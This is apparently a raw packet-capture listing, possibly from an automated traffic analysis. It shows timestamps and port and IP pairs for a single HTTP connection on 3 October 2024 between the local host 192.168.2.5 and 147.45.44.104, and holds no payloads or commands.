Oct 3, 2024 15:07:07.638293028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638307095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638318062 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638322115 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638341904 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638376951 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638407946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638482094 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638495922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638530016 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638573885 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638587952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638602018 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638623953 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638641119 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638699055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638712883 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638726950 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638740063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638753891 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638767958 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638775110 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638783932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638816118 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638851881 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638868093 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638881922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638895035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638900995 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638911009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638927937 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.638930082 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.638969898 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639244080 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639257908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639273882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639287949 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639295101 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639302015 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639316082 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639331102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639338970 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639398098 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639421940 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639436960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639451027 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639463902 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639477968 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639492035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639494896 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639507055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639522076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639535904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639544010 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639549971 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639565945 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639566898 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639580965 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639594078 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639597893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639651060 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639662981 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639693022 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639708042 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639713049 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639756918 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639799118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639812946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639826059 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639847040 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639857054 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639863014 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639875889 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639890909 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.639892101 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.639925957 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.687813044 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.723756075 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.723790884 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.723803997 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.723865032 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.723866940 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.723881960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.723896980 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.723912001 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.723917007 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.723968029 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724045992 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724061012 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724075079 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724087000 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724100113 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724103928 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724133015 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724139929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724154949 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724169016 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724178076 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724184036 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724217892 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724251986 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724726915 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724741936 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724755049 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724769115 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724800110 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724812031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724827051 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724838018 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724857092 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724878073 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724895954 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724917889 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724917889 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724934101 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724978924 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.724980116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.724996090 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725011110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725064039 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725066900 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725079060 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725094080 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725112915 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725152969 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725193977 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725208044 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725220919 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725236893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725244999 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725250959 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725265980 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725281954 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725284100 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725327015 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725363970 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725378990 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725406885 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725409985 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725420952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725434065 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725449085 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725461960 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725502014 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725508928 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725523949 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725538969 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725550890 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725553036 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725567102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725600004 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725635052 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725637913 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725651026 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725665092 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725678921 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725697994 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725703001 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725727081 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725737095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725752115 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725768089 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725781918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725794077 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725797892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725835085 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725857019 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725857019 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725873947 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725887060 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725899935 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725914001 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725924015 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725965023 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725966930 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.725980043 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.725994110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726011038 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726016998 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726027966 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726042986 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726058960 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726100922 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726128101 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726144075 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726157904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726176023 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726198912 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726213932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726218939 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726227999 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726242065 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726259947 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726291895 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726339102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726353884 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726366997 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726387978 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726401091 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726416111 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726421118 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726454973 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726479053 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726485968 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726500988 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726514101 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726526976 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726541996 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726547003 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726579905 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726581097 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726598024 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726613045 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726628065 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726628065 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726641893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726653099 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726658106 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726674080 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726691961 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726784945 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726807117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726814985 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726824999 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726840019 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726861000 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726882935 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726927042 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726942062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726954937 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726969004 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.726979017 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.726984024 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727041960 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.727082014 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727097988 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727113008 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727132082 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.727195024 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727210999 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727215052 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.727220058 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727227926 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727241993 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727250099 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727293968 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.727324963 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727329016 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.727339983 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727354050 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727369070 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727399111 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.727408886 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727446079 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.727541924 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727556944 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727570057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727586031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:07.727590084 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.727617979 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:07.781629086 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.002974033 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.002993107 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003007889 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003022909 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003062010 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003122091 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003251076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003266096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003278971 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003290892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003304958 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003315926 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003317118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003330946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003345966 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003355026 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003367901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003392935 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003401041 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003410101 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003422976 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003436089 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003447056 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003468037 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003537893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003551960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003566027 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003578901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003586054 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003595114 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003607988 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003608942 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003623962 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003638029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003648996 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003654003 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003673077 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003696918 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.003921032 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003935099 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003948927 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003962040 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003977060 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.003989935 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004004002 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004008055 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004019022 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004034042 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004046917 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004056931 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004061937 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004076004 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004085064 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004101038 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004102945 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004122019 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004116058 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004137993 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004148960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004163027 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004172087 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004178047 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004192114 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004199982 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004206896 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004220963 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004235029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004240990 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004249096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004264116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004266024 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004276037 CEST	80	49704	147.45.44.104	192.168.2.5
